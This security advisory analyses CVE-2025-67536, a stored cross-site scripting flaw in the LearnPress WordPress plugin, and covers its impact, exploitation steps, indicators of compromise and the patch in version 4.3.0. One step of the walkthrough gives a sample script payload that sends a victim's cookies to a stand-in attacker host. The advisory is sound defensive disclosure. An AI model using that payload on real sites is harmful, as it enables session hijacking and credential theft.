CVE-2025-67536: 
WordPress vulnerability analysis and mitigation

CVE-2025-67536 is a Stored Cross-Site Scripting (XSS) vulnerability in the ThimPress LearnPress WordPress plugin, affecting all versions up to and including 4.2.9.4. The flaw was reported by researcher Peter Thaleikis on October 7, 2025, disclosed by Patchstack on November 6, 2025, and assigned a CVE on December 9, 2025. It carries a CVSS v3.1 base score of 6.5 (Medium) (Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a Stored XSS variant. An authenticated user with at least Contributor or Developer-level privileges can inject malicious scripts into fields processed by the LearnPress plugin, which are then persistently stored and rendered to other users visiting affected pages. Exploitation requires user interaction from a privileged user (e.g., an administrator viewing the injected content), and the vulnerability has a changed scope, meaning the impact can extend beyond the originating application context (Patchstack).

Successful exploitation allows an attacker to inject and persistently store malicious JavaScript or HTML payloads within the WordPress site, which execute in the browsers of users — including administrators — who view the affected content. This can lead to session hijacking, credential theft, unauthorized administrative actions, defacement, or redirection of site visitors to malicious external resources. The changed scope means the impact can affect users and systems beyond the vulnerable plugin itself (Patchstack).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for this vulnerability. The EPSS score is approximately 0.039%, indicating a low probability of exploitation in the near term. Patchstack rates this as low priority, noting it is unlikely to be exploited; however, they also note that XSS vulnerabilities of this class are sometimes used in mass-exploit campaigns targeting WordPress sites at scale (Patchstack). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.

1. Gain low-privilege access: Register or obtain credentials for a Contributor or Developer account on a WordPress site running LearnPress <= 4.2.9.4.
2. Identify injectable fields: Navigate to LearnPress course or lesson creation/editing interfaces and identify input fields that are not properly sanitized before storage.
3. Inject malicious payload: Submit a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a vulnerable field and save the content.
4. Wait for privileged user interaction: The payload is stored in the database and rendered when an administrator or other privileged user views the affected course, lesson, or page.
5. Harvest results: The injected script executes in the victim's browser, potentially stealing session cookies, performing actions on behalf of the victim, or redirecting them to attacker-controlled infrastructure (Patchstack).

• Logs: WordPress access logs showing POST requests to LearnPress course/lesson creation or editing endpoints from low-privilege accounts, particularly with HTML or JavaScript content in request bodies.
• Database: Unexpected <script> tags, event handlers (e.g., onerror, onload), or encoded JavaScript payloads stored in LearnPress-related database tables (e.g., wp_posts, wp_postmeta).
• Network: Outbound requests from site visitors' browsers to unknown external domains shortly after viewing LearnPress content, potentially indicating cookie or credential exfiltration.
• File System: Presence of newly created or modified PHP files in the LearnPress plugin directory that were not part of the original installation, which may indicate follow-on compromise after XSS-based admin session hijacking.

The vulnerability is patched in LearnPress version 4.3.0, released by ThimPress. Site administrators should update the LearnPress plugin to version 4.3.0 or later immediately via the WordPress admin dashboard or their hosting provider. If an immediate update is not possible, restricting Contributor and Developer role assignments to trusted users only can reduce the attack surface. Patchstack users can enable auto-update for vulnerable plugins as an additional safeguard (Patchstack).